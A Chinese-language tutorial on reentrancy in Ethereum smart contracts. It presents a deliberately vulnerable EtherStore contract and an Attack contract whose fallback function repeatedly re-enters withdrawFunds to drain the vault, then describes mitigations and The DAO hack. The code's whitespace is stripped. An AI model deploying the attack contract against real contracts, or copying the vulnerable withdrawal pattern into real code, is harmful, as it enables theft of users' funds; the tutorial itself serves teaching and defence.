以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行“重新进入”合约。这种攻击被用于臭名昭著的DAO攻击。
漏洞
当合约将Ether发送到未知地址时,可能会发生此攻击。攻击者可以在Fallback函数中的外部地址处构建一个包含恶意代码的合约。因此,当合约向此地址发送Ether时,它将调用恶意代码。通常,恶意代码会在易受攻击的合约上执行一个函数、该函数会运行一项开发人员不希望的操作。“重入”这个名称来源于外部恶意合约回复了易受攻击合约的功能,并在易受攻击的合约的任意位置“重新输入”了代码执行。
为了澄清这一点,请考虑简单易受伤害的合约,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。
EtherStore.sol:
contractEtherStore{
uint256publicwithdrawalLimit=1ether;
mapping(address=>uint256)publiclastWithdrawTime;
mapping(address=>uint256)publicbalances;
functiondepositFunds()publicpayable{
balances[msg.sender]+=msg.value;
}
functionwithdrawFunds(uint256_weiToWithdraw)public{
require(balances[msg.sender]>=_weiToWithdraw);
//limitthewithdrawal
require(_weiToWithdraw<=withdrawalLimit);
//limitthetimeallowedtowithdraw
require(now>=lastWithdrawTime[msg.sender]+1weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender]-=_weiToWithdraw;
lastWithdrawTime[msg.sender]=now;
}
}
该合约有两个公共职能。depositFunds()和withdrawFunds()。该depositFunds()功能只是增加发件人余额。该withdrawFunds()功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回,它才会成功。额,真会是这样吗?...
该漏洞出现在[17]行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约
Attack.sol:
import"EtherStore.sol";
contractAttack{
EtherStorepublicetherStore;
//intialisetheetherStorevariablewiththecontractaddress
constructor(address_etherStoreAddress){
etherStore=EtherStore(_etherStoreAddress);
}
functionpwnEtherStore()publicpayable{
//attacktothenearestether
require(msg.value>=1ether);
//sendethtothedepositFunds()function
etherStore.depositFunds.value(1ether)();
//startthemagic
etherStore.withdrawFunds(1ether);
}
functioncollectEther()public{
msg.sender.transfer(this.balance);
}
//fallbackfunction-wherethemagichappens
function()payable{
if(etherStore.balance>1ether){
etherStore.withdrawFunds(1ether);
}
}
}
让我们看看这个恶意合约是如何利用我们的EtherStore合约的。攻击者可以(假定恶意合约地址为0x0...123)使用EtherStore合约地址作为构造函数参数来创建上述合约。这将初始化并将公共变量etherStore指向我们想要攻击的合约。然后攻击者会调用这个pwnEtherStore()函数,并存入一些Ehter(大于或等于1),比方说1Ehter,在这个例子中。在这个例子中,我们假设一些其他用户已经将若干Ehter存入这份合约中,比方说它的当前余额就是10ether。然后会发生以下情况:
1.Attack.sol-Line[15]-EtherStore合约的despoitFunds函数将会被调用,并伴随1Ether的mag.value(和大量的Gas)。sender(msg.sender)将是我们的恶意合约(0x0...123)。因此,balances[0x0..123]=1ether。
2.Attack.sol-Line[17]-恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求(合约的行[12]-[16]),因为我们以前没有提款。
3.EtherStore.sol-行[17]-合约将发送1Ether回恶意合约。
4.Attack.sol-Line[25]-发送给恶意合约的Ether将执行fallback函数。
5.Attack.sol-Line[26]-EtherStore合约的总余额是10Ether,现在是9Ether,如果声明通过。
6.Attack.sol-Line[27]-回退函数然后再次动用EtherStore中的withdrawFunds()函数并“重入”EtherStore合约。
7.EtherStore.sol-行[11]-在第二次调用withdrawFunds()时,我们的余额仍然是1Ether,因为行[18]尚未执行。因此,我们仍然有balances[0x0..123]=1ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
8.EtherStore.sol-行[17]-我们撤回另外的1Ether。
9.步骤4-8将重复-直到EtherStore.balance>=1,这是由Attack.sol-Line[26]所指定的。
10.Attack.sol-Line[26]-一旦在EtherStore合约中留下少于1(或更少)的Ether,此if语句将失败。这样EtherStore就会执行合约的行[18]和行[19](每次调用withdrawFunds()函数之后都会执行这两行)。
11.EtherStore.sol-行[18]和[19]-balances和lastWithdrawTime映射将被设置并且执行将结束。
最终的结果是,攻击者只用一笔交易,便立即从EtherStore合约中取出了(除去1个Ether以外)所有的Ether。
预防技术
有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。
第一种是(在可能的情况下)在将Ether发送给外部合约时使用内置的transfer()函数。转账功能只发送2300gas不足以使目的地址/合约调用另一份合约(即重入发送合约)。
第二种技术是确保所有改变状态变量的逻辑发生在Ether被发送出合约(或任何外部调用)之前。在这个EtherStore例子中,EtherStore.sol-行[18]和行[19]应放在行[17]之前。将任何对未知地址执行外部调用的代码,放置在本地化函数或代码执行中作为最后一个操作,是一种很好的做法。这被称为检查效果交互(checks-effects-interactions)模式。
第三种技术是引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。
给EtherStore.sol应用所有这些技术(同时使用全部三种技术是没必要的,只是为了演示目的而已)会出现如下的防重入合约:
contractEtherStore{
//initialisethemutex
boolreEntrancyMutex=false;
uint256publicwithdrawalLimit=1ether;
mapping(address=>uint256)publiclastWithdrawTime;
mapping(address=>uint256)publicbalances;
functiondepositFunds()publicpayable{
balances[msg.sender]+=msg.value;
}
functionwithdrawFunds(uint256_weiToWithdraw)public{
require(!reEntrancyMutex);
require(balances[msg.sender]>=_weiToWithdraw);
//limitthewithdrawal
require(_weiToWithdraw<=withdrawalLimit);
//limitthetimeallowedtowithdraw
require(now>=lastWithdrawTime[msg.sender]+1weeks);
balances[msg.sender]-=_weiToWithdraw;
lastWithdrawTime[msg.sender]=now;
//setthereEntrancymutexbeforetheexternalcall
reEntrancyMutex=true;
msg.sender.transfer(_weiToWithdraw);
//releasethemutexaftertheexternalcall
reEntrancyMutex=false;
}
}
真实的例子:TheDAO
TheDAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了EthereumClassic(ETC)的分叉。有关TheDAO漏洞的详细分析,请参阅PhilDaian的文章。